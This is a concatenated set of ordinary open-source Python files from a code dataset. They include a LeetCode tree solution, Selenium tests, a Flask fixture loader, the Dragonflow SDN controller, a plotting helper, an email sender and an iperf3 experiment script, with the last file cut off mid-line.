stack.extend([(node.right, depth+1), (node.left, depth+1)])\n\n return min_depth\n\n def bfs(self, root: TreeNode) -> int:\n if not root:\n return 0\n\n queue = deque()\n queue.append((root, 1))\n min_depth = float('inf')\n\n while queue:\n node, depth = queue.popleft()\n\n if not node.left and not node.right:\n min_depth = min(min_depth, depth)\n\n if node.left and not node.right:\n queue.append((node.left, depth + 1))\n\n if node.right and not node.left:\n queue.append((node.right, depth + 1))\n\n if node.right and node.left:\n queue.extend([(node.right, depth + 1), (node.left, depth + 1)])\n\n return min_depth\n\n\n# root = TreeNode(x=3)\n# node1 = TreeNode(x=9)\n# node2 = TreeNode(x=20)\n# node3 = TreeNode(x=15)\n# node4 = TreeNode(x=7)\n# root.left = node1\n# root.right = node2\n# node2.left = node3\n# node2.right = node4\n\n# root = TreeNode(x=1)\n# node1 = TreeNode(x=2)\n# root.left = node1\n# s = Solution()\n# r = s.dfs(root=root)\n# print(r)","sub_path":"Week_02/id_34/leetcode-111.py","file_name":"leetcode-111.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"595325185","text":"# coding=utf-8\nfrom time import sleep\nimport pytest\ntry:\n from page_obj.baidu_page import BaiduPage\nexcept ImportError:\n from .page_obj.baidu_page import BaiduPage\n\n\ndef test_baidu_a_setting(browser):\n bd = BaiduPage(browser)\n bd.open()\n bd.search_input(\"pytest\")\n bd.search_button()\n\n\ndef test_baidu_a_setting2(browser):\n bd = BaiduPage(browser)\n bd.open()\n bd.search_input(\"python\")\n bd.search_button()\n\n\ndef test_baidu_a_setting3(browser):\n bd = BaiduPage(browser)\n bd.open()\n bd.search_input(\"selenium\")\n bd.search_button()\n\n\n'''\n# 参数化\n@pytest.mark.parametrize(\n (\"searchkey\"),\n [\"python\", \"pytest\",\"pytest-html\",\"selenium\",\"unittest\"]\n )\ndef test_baidu_search(searchkey, browser):\n bd= BaiduPage(browser)\n bd.open()\n bd.search_input(searchkey)\n bd.search_button()\n sleep(1)\n title = bd.search_title()\n assert title == searchkey+\"_百度搜索\"\n'''\n\n# this is test test_case.\n#def test_close_browser(browser):\n# browser.quit()\n\n\n\nif __name__ == \"__main__\":\n pytest.main([\"-s\",\"test_baidu_search.py\"])\n","sub_path":"pytestpro/test_case/test_baidu_search3.py","file_name":"test_baidu_search3.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"3832634","text":"import click\nfrom app.application import db\nfrom app.admin.models import User\nfrom sqlalchemy_utils import database_exists, create_database\nfrom flask import current_app\n\n\n@click.command()\ndef load_fixtures():\n \"\"\" Create the database and load the fixtures \"\"\"\n db_uri = current_app.config['SQLALCHEMY_DATABASE_URI']\n if not database_exists(db_uri):\n create_database(db_uri)\n else:\n db.drop_all()\n\n db.create_all()\n\n # Fixtures\n user = User()\n user.email = 'phbasic@gmail.com'\n user.password = '123456789'\n user.active = True\n db.session.add(user)\n db.session.commit()\n\n print('Initialized the database.')\n","sub_path":"app/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"224618734","text":"import logging\nimport json\nimport os\n\nlog = logging.getLogger(__name__)\n\ndef set_status(origin, data):\n if os.path.exists('status.json'):\n with open('status.json') as f:\n status = json.load(f)\n else:\n status = {}\n \n if 'player' in status[origin]:\n player_stats = status[origin]['player']\n \n status[origin] = data\n status[origin]['player'] = player_stats \n\n with open('status.json', 'w') as outfile:\n json.dump(status, outfile, indent=4, sort_keys=True)","sub_path":"utils/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"200098539","text":"# Copyright (c) 2015 OpenStack Foundation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport sys\nimport time\n\nfrom neutron.agent.common import config\nfrom neutron.common import config as common_config\nfrom oslo_log import log\nfrom ryu.base import app_manager\nfrom ryu import cfg as ryu_cfg\n\nfrom dragonflow._i18n import _LI, _LW\nfrom dragonflow.common import constants\nfrom dragonflow.common import utils as df_utils\nfrom dragonflow import conf as cfg\nfrom dragonflow.controller import df_db_objects_refresh\nfrom dragonflow.controller import ryu_base_app\nfrom dragonflow.controller import topology\nfrom dragonflow.db import api_nb\nfrom dragonflow.db import db_consistent\nfrom dragonflow.db import db_store\nfrom dragonflow.db import models\nfrom dragonflow.ovsdb import vswitch_impl\n\n\nLOG = log.getLogger(\"dragonflow.controller.df_local_controller\")\n\n\nclass DfLocalController(object):\n\n def __init__(self, chassis_name):\n self.db_store = db_store.DbStore()\n self.chassis_name = chassis_name\n self.mgt_ip = cfg.CONF.df.management_ip\n self.ip = cfg.CONF.df.local_ip\n if cfg.CONF.df.tunnel_types:\n # Virtual tunnel port support multiple tunnel types together\n self.tunnel_types = cfg.CONF.df.tunnel_types\n else:\n # NOTE(xiaohhui): This should be removed along with the config\n # option tunnel_type\n self.tunnel_types = [cfg.CONF.df.tunnel_type]\n self.sync_finished = False\n self.port_status_notifier = None\n nb_driver = df_utils.load_driver(\n cfg.CONF.df.nb_db_class,\n df_utils.DF_NB_DB_DRIVER_NAMESPACE)\n self.nb_api = api_nb.NbApi(\n nb_driver,\n use_pubsub=cfg.CONF.df.enable_df_pub_sub)\n self.vswitch_api = vswitch_impl.OvsApi(self.mgt_ip)\n if cfg.CONF.df.enable_port_status_notifier:\n self.port_status_notifier = df_utils.load_driver(\n cfg.CONF.df.port_status_notifier,\n df_utils.DF_PORT_STATUS_DRIVER_NAMESPACE)\n kwargs = dict(\n nb_api=self.nb_api,\n vswitch_api=self.vswitch_api,\n db_store=self.db_store\n )\n app_mgr = app_manager.AppManager.get_instance()\n self.open_flow_app = app_mgr.instantiate(ryu_base_app.RyuDFAdapter,\n **kwargs)\n self.topology = None\n self.db_consistency_manager = None\n self.enable_db_consistency = cfg.CONF.df.enable_df_db_consistency\n self.enable_selective_topo_dist = \\\n cfg.CONF.df.enable_selective_topology_distribution\n self.integration_bridge = cfg.CONF.df.integration_bridge\n\n def run(self):\n self.nb_api.initialize(db_ip=cfg.CONF.df.remote_db_ip,\n db_port=cfg.CONF.df.remote_db_port)\n self.vswitch_api.initialize(self.nb_api)\n if cfg.CONF.df.enable_port_status_notifier:\n self.port_status_notifier.initialize(nb_api=self.nb_api,\n is_neutron_server=False)\n self.topology = topology.Topology(self,\n self.enable_selective_topo_dist)\n if self.enable_db_consistency:\n self.db_consistency_manager = \\\n db_consistent.DBConsistencyManager(self)\n self.nb_api.set_db_consistency_manager(self.db_consistency_manager)\n self.db_consistency_manager.daemonize()\n\n # both set_controller and del_controller will delete flows.\n # for reliability, here we should check if controller is set for OVS,\n # if yes, don't set controller and don't delete controller.\n # if no, set controller\n targets = ('tcp:' + cfg.CONF.df_ryu.of_listen_address + ':' +\n str(cfg.CONF.df_ryu.of_listen_port))\n is_controller_set = self.vswitch_api.check_controller(targets)\n if not is_controller_set:\n self.vswitch_api.set_controller(self.integration_bridge, [targets])\n is_fail_mode_set = self.vswitch_api.check_controller_fail_mode(\n 'secure')\n if not is_fail_mode_set:\n self.vswitch_api.set_controller_fail_mode(\n self.integration_bridge, 'secure')\n self.open_flow_app.start()\n self.create_tunnels()\n df_db_objects_refresh.initialize_object_refreshers(self)\n self.db_sync_loop()\n\n def db_sync_loop(self):\n while True:\n time.sleep(1)\n self.run_db_poll()\n if self.sync_finished and (\n self.nb_api.support_publish_subscribe()):\n self.nb_api.register_notification_callback(self)\n\n def run_sync(self, mode=None):\n if mode == 'full_sync':\n # For a full sync, df needs to clean the local cache, so that\n # all resources will be treated as new resource, and thus be\n # applied to local.\n self.db_store.clear()\n while True:\n time.sleep(1)\n self.run_db_poll()\n if self.sync_finished:\n return\n\n def run_db_poll(self):\n try:\n self.register_chassis()\n\n topics = self.topology.get_subscribed_topics()\n df_db_objects_refresh.sync_local_cache_from_nb_db(topics)\n self.sync_finished = True\n except Exception as e:\n self.sync_finished = False\n LOG.warning(_LW(\"run_db_poll - suppressing exception\"))\n LOG.exception(e)\n\n def update_chassis(self, chassis):\n self.db_store.update_chassis(chassis.get_id(), chassis)\n remote_chassis_name = chassis.get_id()\n if self.chassis_name == remote_chassis_name:\n return\n\n # Notify about remote port update\n remote_ports = self.db_store.get_ports_by_chassis(remote_chassis_name)\n for port in remote_ports:\n self._logical_port_process(port, None)\n\n def delete_chassis(self, chassis_id):\n LOG.info(_LI(\"Deleting remote ports in remote chassis %s\"), chassis_id)\n # Chassis is deleted, there is no reason to keep the remote port\n # in it.\n remote_ports = self.db_store.get_ports_by_chassis(chassis_id)\n for port in remote_ports:\n self.delete_lport(port.get_id())\n self.db_store.delete_chassis(chassis_id)\n\n def update_lswitch(self, lswitch):\n old_lswitch = self.db_store.get_lswitch(lswitch.get_id())\n if not df_utils.is_valid_version(\n old_lswitch.inner_obj if old_lswitch else None,\n lswitch.inner_obj):\n return\n\n LOG.info(_LI(\"Adding/Updating Logical Switch = %s\"), lswitch)\n self.db_store.set_lswitch(lswitch.get_id(), lswitch)\n self.open_flow_app.notify_update_logical_switch(lswitch)\n\n def delete_lswitch(self, lswitch_id):\n lswitch = self.db_store.get_lswitch(lswitch_id)\n LOG.info(_LI(\"Removing Logical Switch = %s\"), lswitch_id)\n if lswitch is None:\n LOG.warning(_LW(\"Try to delete a nonexistent lswitch(%s)\"),\n lswitch_id)\n return\n self.open_flow_app.notify_remove_logical_switch(lswitch)\n self.db_store.del_lswitch(lswitch_id)\n\n def _notify_active_ports_updated_when_lport_created(self, lport):\n active_ports = self.db_store.get_active_ports(lport.get_topic())\n for active_port in active_ports:\n if active_port.get_detected_lport_id() == lport.get_id():\n self.open_flow_app.notify_update_active_port(active_port,\n None)\n\n def _notify_active_ports_updated_when_lport_removed(self, lport):\n active_ports = self.db_store.get_active_ports(lport.get_topic())\n for active_port in active_ports:\n if active_port.get_detected_lport_id() == lport.get_id():\n self.open_flow_app.notify_remove_active_port(active_port)\n self.db_store.delete_active_port(active_port.get_id())\n\n def _is_physical_chassis(self, chassis):\n if not chassis or chassis == constants.DRAGONFLOW_VIRTUAL_PORT:\n return False\n return True\n\n def _logical_port_process(self, lport, original_lport=None):\n lswitch = self.db_store.get_lswitch(lport.get_lswitch_id())\n if not lswitch:\n LOG.warning(_LW(\"Could not find lswitch for lport: %s\"),\n lport.get_id())\n return\n lport.set_external_value('local_network_id',\n lswitch.get_unique_key())\n network_type = lswitch.get_network_type()\n segment_id = lswitch.get_segment_id()\n physical_network = lswitch.get_physical_network()\n\n lport.set_external_value('network_type', network_type)\n if segment_id is not None:\n lport.set_external_value('segmentation_id',\n int(segment_id))\n if physical_network:\n lport.set_external_value('physical_network', physical_network)\n\n chassis = lport.get_chassis()\n if chassis == self.chassis_name:\n lport.set_external_value('is_local', True)\n self.db_store.set_port(lport.get_id(), lport, True)\n ofport = self.vswitch_api.get_port_ofport_by_id(lport.get_id())\n if ofport:\n lport.set_external_value('ofport', ofport)\n if original_lport is None:\n LOG.info(_LI(\"Adding new local logical port = %s\"), lport)\n self.open_flow_app.notify_add_local_port(lport)\n else:\n LOG.info(_LI(\"Updating local logical port = %(port)s, \"\n \"original port = %(original_port)s\"),\n {'port': lport,\n 'original_port': original_lport})\n self.open_flow_app.notify_update_local_port(lport,\n original_lport)\n else:\n LOG.info(_LI(\"Local logical port %s was not created yet\"),\n lport)\n return\n else:\n lport.set_external_value('is_local', False)\n self.db_store.set_port(lport.get_id(), lport, False)\n if lport.get_remote_vtep():\n # Remote port that exists in other network pod.\n lport.set_external_value('peer_vtep_address',\n lport.get_chassis())\n else:\n # Remote port that exists in current network pod.\n remote_chassis = self.db_store.get_chassis(lport.get_chassis())\n if not remote_chassis:\n # chassis has not been online yet.\n return\n lport.set_external_value('peer_vtep_address',\n remote_chassis.get_ip())\n\n ofport = self.vswitch_api.get_vtp_ofport(\n lport.get_external_value('network_type'))\n if ofport:\n lport.set_external_value('ofport', ofport)\n if original_lport is None:\n LOG.info(_LI(\"Adding new remote logical port = %s\"), lport)\n self.open_flow_app.notify_add_remote_port(lport)\n else:\n LOG.info(_LI(\"Updating remote logical port = %(port)s, \"\n \"original port = %(original_port)s\"),\n {'port': lport,\n 'original_port': original_lport})\n self.open_flow_app.notify_update_remote_port(\n lport, original_lport)\n else:\n # The tunnel port online event will update the remote logical\n # port. Log this warning first.\n LOG.warning(_LW(\"No tunnel for remote logical port %s\"),\n lport)\n return\n\n if original_lport is None:\n self._notify_active_ports_updated_when_lport_created(lport)\n\n def update_lport(self, lport):\n chassis = lport.get_chassis()\n if not self._is_physical_chassis(chassis):\n LOG.debug((\"Port %s has not been bound or it is a vPort\"),\n lport.get_id())\n return\n original_lport = self.db_store.get_port(lport.get_id())\n if original_lport and not original_lport.get_external_value(\"ofport\"):\n original_lport = None\n\n if not df_utils.is_valid_version(\n original_lport.inner_obj if original_lport else None,\n lport.inner_obj):\n return\n self._logical_port_process(lport, original_lport)\n\n def delete_lport(self, lport_id):\n lport = self.db_store.get_port(lport_id)\n if lport is None:\n return\n if lport.get_external_value('is_local'):\n LOG.info(_LI(\"Removing local logical port = %s\"), lport)\n if lport.get_external_value('ofport') is not None:\n self.open_flow_app.notify_remove_local_port(lport)\n self.db_store.delete_port(lport.get_id(), True)\n else:\n LOG.info(_LI(\"Removing remote logical port = %s\"), lport)\n if lport.get_external_value('ofport') is not None:\n self.open_flow_app.notify_remove_remote_port(lport)\n self.db_store.delete_port(lport.get_id(), False)\n\n self._notify_active_ports_updated_when_lport_removed(lport)\n\n def bridge_port_updated(self, lport):\n self.open_flow_app.notify_update_bridge_port(lport)\n\n def update_lrouter(self, lrouter):\n old_lrouter = self.db_store.get_router(lrouter.get_id())\n if not df_utils.is_valid_version(\n old_lrouter.inner_obj if old_lrouter else None,\n lrouter.inner_obj):\n return\n self.open_flow_app.notify_update_router(lrouter, old_lrouter)\n self.db_store.update_router(lrouter.get_id(), lrouter)\n\n def delete_lrouter(self, lrouter_id):\n router = self.db_store.get_router(lrouter_id)\n if router is None:\n LOG.warning(_LW(\"Try to delete a nonexistent router(%s)\"),\n lrouter_id)\n return\n LOG.info(_LI(\"Removing router = %s\"), lrouter_id)\n self.open_flow_app.notify_delete_router(router)\n self.db_store.delete_router(lrouter_id)\n\n def update_secgroup(self, secgroup):\n old_secgroup = self.db_store.get_security_group(secgroup.get_id())\n if old_secgroup is None:\n LOG.info(_LI(\"Security Group created = %s\"), secgroup)\n self._add_new_security_group(secgroup)\n return\n if not df_utils.is_valid_version(\n old_secgroup.inner_obj if old_secgroup else None,\n secgroup.inner_obj):\n return\n self._update_security_group_rules(old_secgroup, secgroup)\n self.db_store.update_security_group(secgroup.get_id(), secgroup)\n\n def delete_secgroup(self, secgroup_id):\n old_secgroup = self.db_store.get_security_group(secgroup_id)\n if old_secgroup is None:\n return\n self._delete_old_security_group(old_secgroup)\n\n def update_qospolicy(self, qos):\n original_qos = self.db_store.get_qos_policy(qos.get_id())\n if not df_utils.is_valid_version(\n original_qos.inner_obj if original_qos else None,\n qos.inner_obj):\n return\n\n self.db_store.set_qos_policy(qos.get_id(), qos)\n if not original_qos:\n return\n\n self.open_flow_app.notify_update_qos_policy(qos)\n\n def delete_qospolicy(self, qos_id):\n qos = self.db_store.get_qos_policy(qos_id)\n if not qos:\n return\n\n self.open_flow_app.notify_delete_qos_policy(qos)\n self.db_store.delete_qos_policy(qos_id)\n\n def register_chassis(self):\n # Get all chassis from nb db to db store.\n for c in self.nb_api.get_all_chassis():\n self.db_store.update_chassis(c.get_id(), c)\n\n chassis = self.db_store.get_chassis(self.chassis_name)\n if chassis is None:\n self.nb_api.add_chassis(self.chassis_name,\n self.ip,\n self.tunnel_types)\n else:\n kwargs = {}\n old_tunnel_types = chassis.get_tunnel_types()\n if (not isinstance(old_tunnel_types, list) or\n set(self.tunnel_types) != set(old_tunnel_types)):\n # There are 2 cases that needs update tunnel type in\n # chassis. 1) User changes tunnel types in conf file\n # 2) An old controller support only one type tunnel switch\n # to support virtual tunnel port.\n kwargs['tunnel_types'] = self.tunnel_types\n if self.ip != chassis.get_ip():\n kwargs['ip'] = self.ip\n\n if kwargs:\n self.nb_api.update_chassis(self.chassis_name, **kwargs)\n\n def create_tunnels(self):\n tunnel_ports = self.vswitch_api.get_virtual_tunnel_ports()\n for tunnel_port in tunnel_ports:\n if tunnel_port.get_tunnel_type() not in self.tunnel_types:\n self.vswitch_api.delete_port(tunnel_port)\n\n for t in self.tunnel_types:\n # The customized ovs idl will ingore the command if the port\n # already exists.\n self.vswitch_api.add_virtual_tunnel_port(t)\n\n def _update_security_group_rules(self, old_secgroup, new_secgroup):\n new_secgroup_rules = new_secgroup.get_rules()\n old_secgroup_rules = old_secgroup.get_rules()\n for new_rule in new_secgroup_rules:\n if new_rule not in old_secgroup_rules:\n self._add_new_security_group_rule(new_secgroup, new_rule)\n else:\n old_secgroup_rules.remove(new_rule)\n\n for old_rule in old_secgroup_rules:\n self._delete_security_group_rule(old_secgroup, old_rule)\n\n def _add_new_security_group(self, secgroup):\n for new_rule in secgroup.get_rules():\n self._add_new_security_group_rule(secgroup, new_rule)\n self.db_store.update_security_group(secgroup.get_id(), secgroup)\n\n def _delete_old_security_group(self, secgroup):\n for rule in secgroup.get_rules():\n self._delete_security_group_rule(secgroup, rule)\n self.db_store.delete_security_group(secgroup.get_id())\n\n def _add_new_security_group_rule(self, secgroup, secgroup_rule):\n LOG.info(_LI(\"Adding new secgroup rule = %s\"), secgroup_rule)\n self.open_flow_app.notify_add_security_group_rule(\n secgroup, secgroup_rule)\n\n def _delete_security_group_rule(self, secgroup, secgroup_rule):\n LOG.info(_LI(\"Removing secgroup rule = %s\"), secgroup_rule)\n self.open_flow_app.notify_remove_security_group_rule(\n secgroup, secgroup_rule)\n\n def update_floatingip(self, floatingip):\n # check whether this floatingip is associated with a lport or not\n if floatingip.get_lport_id():\n if self.db_store.get_local_port(floatingip.get_lport_id()) is None:\n return\n\n old_floatingip = self.db_store.get_floatingip(floatingip.get_id())\n if old_floatingip is None:\n # The new floatingip should be associated with a lport\n if not floatingip.get_lport_id():\n return\n self._associate_floatingip(floatingip)\n return\n if not df_utils.is_valid_version(\n old_floatingip.inner_obj if old_floatingip else None,\n floatingip.inner_obj):\n return\n self._update_floatingip(old_floatingip, floatingip)\n\n def delete_floatingip(self, floatingip_id):\n floatingip = self.db_store.get_floatingip(floatingip_id)\n if not floatingip:\n return\n self.open_flow_app.notify_delete_floatingip(floatingip)\n LOG.info(_LI(\"Floatingip is deleted. Floatingip = %s\"), floatingip)\n self.db_store.delete_floatingip(floatingip_id)\n\n def update_publisher(self, publisher):\n self.db_store.update_publisher(publisher.get_id(), publisher)\n LOG.info(_LI('Registering to new publisher: %s'), str(publisher))\n self.nb_api.subscriber.register_listen_address(publisher.get_uri())\n\n def delete_publisher(self, uuid):\n publisher = self.db_store.get_publisher(uuid)\n if publisher:\n LOG.info(_LI('Deleting publisher: %s'), str(publisher))\n self.nb_api.subscriber.unregister_listen_address(\n publisher.get_uri()\n )\n self.db_store.delete_publisher(uuid)\n\n def _associate_floatingip(self, floatingip):\n self.db_store.update_floatingip(floatingip.get_id(), floatingip)\n self.open_flow_app.notify_associate_floatingip(floatingip)\n LOG.info(_LI(\"Floatingip is associated with port. Floatingip = %s\"),\n floatingip)\n\n def _disassociate_floatingip(self, floatingip):\n self.db_store.delete_floatingip(floatingip.get_id())\n self.open_flow_app.notify_disassociate_floatingip(floatingip)\n LOG.info(_LI(\"Floatingip is disassociated from port. \"\n \"Floatingip = %s\"), floatingip)\n\n def _update_floatingip(self, old_floatingip, new_floatingip):\n if new_floatingip.get_lport_id() != old_floatingip.get_lport_id():\n self._disassociate_floatingip(old_floatingip)\n if new_floatingip.get_lport_id():\n self._associate_floatingip(new_floatingip)\n\n def ovs_port_updated(self, ovs_port):\n self.open_flow_app.notify_ovs_port_updated(ovs_port)\n self.topology.ovs_port_updated(ovs_port)\n\n def ovs_port_deleted(self, ovs_port):\n self.open_flow_app.notify_ovs_port_deleted(ovs_port)\n self.topology.ovs_port_deleted(ovs_port.get_id())\n\n def ovs_sync_finished(self):\n self.open_flow_app.notify_ovs_sync_finished()\n\n def ovs_sync_started(self):\n self.open_flow_app.notify_ovs_sync_started()\n\n def update_activeport(self, active_port):\n old_active_port = self.db_store.get_active_port(active_port.get_id())\n lport_id = active_port.get_detected_lport_id()\n lport = self.db_store.get_local_port(lport_id,\n active_port.get_topic())\n LOG.info(_LI(\"Active port updated. Active port = %(new)s, \"\n \"old active port = %(old)s\"),\n {'new': active_port, 'old': old_active_port})\n self.db_store.update_active_port(active_port.get_id(),\n active_port)\n if lport:\n self.open_flow_app.notify_update_active_port(active_port,\n old_active_port)\n else:\n LOG.info(_LI(\"The logical port is not ready for the \"\n \"active node: %s\"), active_port)\n\n def delete_activeport(self, active_port_key):\n active_port = self.db_store.get_active_port(active_port_key)\n if active_port is not None:\n self.db_store.delete_active_port(active_port_key)\n LOG.info(_LI(\"Active node was removed. Active node = %s\"),\n active_port)\n lport_id = active_port.get_detected_lport_id()\n lport = self.db_store.get_local_port(lport_id,\n active_port.get_topic())\n if lport is not None:\n self.open_flow_app.notify_remove_active_port(active_port)\n\n def get_nb_api(self):\n return self.nb_api\n\n def get_db_store(self):\n return self.db_store\n\n def get_openflow_app(self):\n return self.open_flow_app\n\n def get_chassis_name(self):\n return self.chassis_name\n\n def notify_port_status(self, ovs_port, status):\n if self.port_status_notifier:\n self.port_status_notifier.notify_port_status(ovs_port, status)\n\n def _get_delete_handler(self, table):\n method_name = 'delete_{0}'.format(table)\n return getattr(self, method_name)\n\n def update(self, obj):\n handler = getattr(\n self,\n 'update_{0}'.format(obj.table_name),\n )\n return handler(obj)\n\n def delete(self, obj):\n handler = self._get_delete_handler(obj.table_name)\n\n if isinstance(obj, models.NbDbObject):\n return handler(obj.id)\n else:\n return handler(obj)\n\n def delete_by_id(self, model, obj_id):\n # FIXME (dimak) Probably won't be needed once we're done porting\n handler = self._get_delete_handler(model.table_name)\n\n if issubclass(model, models.NbObject):\n return handler(obj_id)\n else:\n return handler(model(id=obj_id))\n\n\ndef init_ryu_config():\n ryu_cfg.CONF(project='ryu', args=[])\n ryu_cfg.CONF.ofp_listen_host = cfg.CONF.df_ryu.of_listen_address\n ryu_cfg.CONF.ofp_tcp_listen_port = cfg.CONF.df_ryu.of_listen_port\n\n\n# Run this application like this:\n# python df_local_controller.py \n# \ndef main():\n chassis_name = cfg.CONF.host\n common_config.init(sys.argv[1:])\n config.setup_logging()\n init_ryu_config()\n controller = DfLocalController(chassis_name)\n controller.run()\n","sub_path":"dragonflow/controller/df_local_controller.py","file_name":"df_local_controller.py","file_ext":"py","file_size_in_byte":26108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"305279782","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef plotErr(targname,dir='../forElena16Nov/send31May/'):\n\n filename = targname + '_cat31May.dat'\n fileN = np.genfromtxt(dir+filename,names=True)\n\n fig,(ax1,ax2) = plt.subplots(1,2,figsize=(11,5),sharex=True,sharey=True)\n\n ax1.scatter(fileN['magr_f606w'],fileN['err_f606w'],s=5,\n color='mediumseagreen')\n ax2.scatter(fileN['magr_f814w'],fileN['err_f814w'],s=5,color='indianred')\n\n ax1.set_xlim(18,27)\n ax1.set_ylim(0,0.25)\n\n ax1.set_xlabel('F606W STMAG')\n ax2.set_xlabel('F814W STMAG')\n\n ax1.set_ylabel('F606W Err')\n ax2.set_ylabel('F814W Err')\n\n plt.savefig(dir+'magVerr_' + targname + '.png',dpi=600,\n bbox_inches='tight')\n\n plt.close()\n\n return None\n","sub_path":"codes23Oct/plotErrMag31May.py","file_name":"plotErrMag31May.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"423678881","text":"import smtplib, os\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.application import MIMEApplication\r\n\r\n###Email Library to send simple texts emails. Inputs are sender, password,\r\n### recipient(s), CC, message and subject. \r\n\r\ndef send(sndr, pswd, rcvr, msg, subject, attach, cc=[]):\r\n email = MIMEMultipart()\r\n email['From'] = sndr\r\n email['To'] = \", \".join(rcvr)\r\n email['Cc'] = \", \".join(cc)\r\n email['Subject'] = subject\r\n email.attach(MIMEText(msg, 'plain'))\r\n\r\n filename = attach\r\n fp = open(filename, 'rb')\r\n att = MIMEApplication(fp.read())\r\n fp.close()\r\n att.add_header('Content-Disposition','attachment',filename=os.path.basename(filename))\r\n email.attach(att)\r\n\r\n server = smtplib.SMTP('smtp.gmail.com:587')\r\n server.starttls()\r\n server.login(sndr, pswd)\r\n server.sendmail(sndr, rcvr+cc, email.as_string())\r\n server.quit()","sub_path":"monitoring_system/utils/send_email_att.py","file_name":"send_email_att.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"389837443","text":"#!/usr/bin/env python\n__author__ = \"Pedro Heleno Isolani\"\n__copyright__ = \"Copyright 2019, The SDN WiFi MAC Manager\"\n__license__ = \"GPL\"\n__version__ = \"1.0\"\n__maintainer__ = \"Pedro Heleno Isolani\"\n__email__ = \"pedro.isolani@uantwerpen.be\"\n__status__ = \"Prototype\"\n\n\n''' Python script for monitoring IEEE 802.11 networks using iperf3 using TCP or UDP\n Please make sure the server is running using iperf3 before running this script!\n Ex: iperf3 -s -i 1 -p 5003\n'''\n\nimport time\nfrom tqdm import trange\nimport subprocess\nfrom optparse import OptionParser\nimport math\n\n# Experimentation parameters and values\nparser = OptionParser()\nparser.add_option(\"\", \"--host_ip\", type=\"string\", default=\"192.168.2.2\") # Host IP address\nparser.add_option(\"\", \"--timeout\", type=\"int\", default=30) # e.g., 30, 60, 120 sec\nparser.add_option(\"\", \"--interval\", type=\"int\", default=1) # e.g., 1 sec (seconds between periodic bandwidth reports)\nparser.add_option(\"\", \"--sleep\", type=\"int\", default=15) # e.g., 30, 60, 120, 240 sec\nparser.add_option(\"\", \"--server_a_ip\", type=\"string\", default=\"192.168.2.21\") # e.g., the DHCP server, WTP\nparser.add_option(\"\", \"--server_b_ip\", type=\"string\", default=\"192.168.2.22\") # e.g., the DHCP server, WTP\nparser.add_option(\"\", \"--server_c_ip\", type=\"string\", default=\"192.168.2.23\") # e.g., the DHCP server, WTP\nparser.add_option(\"\", \"--flow_a_port\", type=\"int\", default=5001) # e.g., 5003, 5004\nparser.add_option(\"\", \"--flow_b_port\", type=\"int\", default=5002) # e.g., 5003, 5004\nparser.add_option(\"\", \"--flow_c_port\", type=\"int\", default=5003) # e.g., 5003, 5004\nparser.add_option(\"\", \"--protocol\", type=\"string\", default=\"UDP\") # e.g., TCP, UDP\nparser.add_option(\"\", \"--bandwidth\", type=\"string\", default=\"40Mbps\") # e.g., 0, 20Mbps, 40Mbps, 10GB\n\n(options, args) = parser.parse_args()\nprint('Starting iperf3 monitoring with these parameters:', options)\n\n# Iperf3 command formatting\nprotocol_parameter = \"-u\" if options.protocol == \"UDP\" else \"\"\n\n# Iperf terminal command (Flow A)\nterminal_command_flow_a = ['iperf3',\n '-c', str(options.server_a_ip),\n '-u',\n '-b', str(options.bandwidth),\n '-t', str(options.timeout),\n '-p', str(options.flow_a_port),\n '-i', str(options.interval)]\n\n# Iperf terminal command (Flow B)\nterminal_command_flow_b = ['iperf3',\n '-c', str(options.server_b_ip),\n '-u',\n '-b', str(options.bandwidth),\n '-t', str(options.timeout),\n '-p', str(options.flow_b_port),\n '-i', str(options.interval)]\n\n# Iperf terminal command (Flow B)\nterminal_command_flow_c = ['iperf3',\n '-c', str(options.server_c_ip),\n '-u',\n '-b', str(options.bandwidth),\n '-t', str(options.timeout),\n '-p', str(options.flow_c_port),\n '-i', str(options.interval)]\n\nstart_time = time.time()\n\nprint('Iperf3 experiment starting...')\n\nprint('Running 1 Iperf3 burst')\nproc1 = subprocess.Popen(terminal_command_flow_a, stdout=subprocess.PIPE)\n\n# waiting enough time for iperfs to start\nprint('Waiting 10 seconds to iperf start properly...')\ntime.sleep(10)\n\n# while processes are still running...\nwhile proc1.poll() is None:\n time.sleep(1) # Checking iperf status every second\n\nprint('Now, waiting for some min.')\nt = trange(options.sleep, desc='Sleeping..', leave=True)\nfor i in t:\n time.sleep(1)\n\nprint('Running 2 Iperf3 bursts...')\nproc1 = subprocess.Popen(terminal_command_flow_a, stdout=subprocess.PIPE)\nproc2 = subprocess.Popen(terminal_command_flow_b, stdout=subprocess.PIPE)\n\n# waiting enough time for iperfs to start\nprint('Waiting 10 seconds to iperf start properly...')\ntime.sleep(10)\n\n# while processes are still running...\nwhile proc1.poll() is None or proc2.poll() is None:\n time.sleep(1) # Checking iperf status every second\n\nprint('Now, waiting for some min.')\nt = trange(options.sleep, desc='Sleeping..', leave=True)\nfor i in t:\n time.sleep(1)\n\nprint('Running 3 Iperf3 bursts...')\nproc1 = subprocess.Popen(terminal_command_flow_a, stdout=subprocess.PIPE)\nproc2 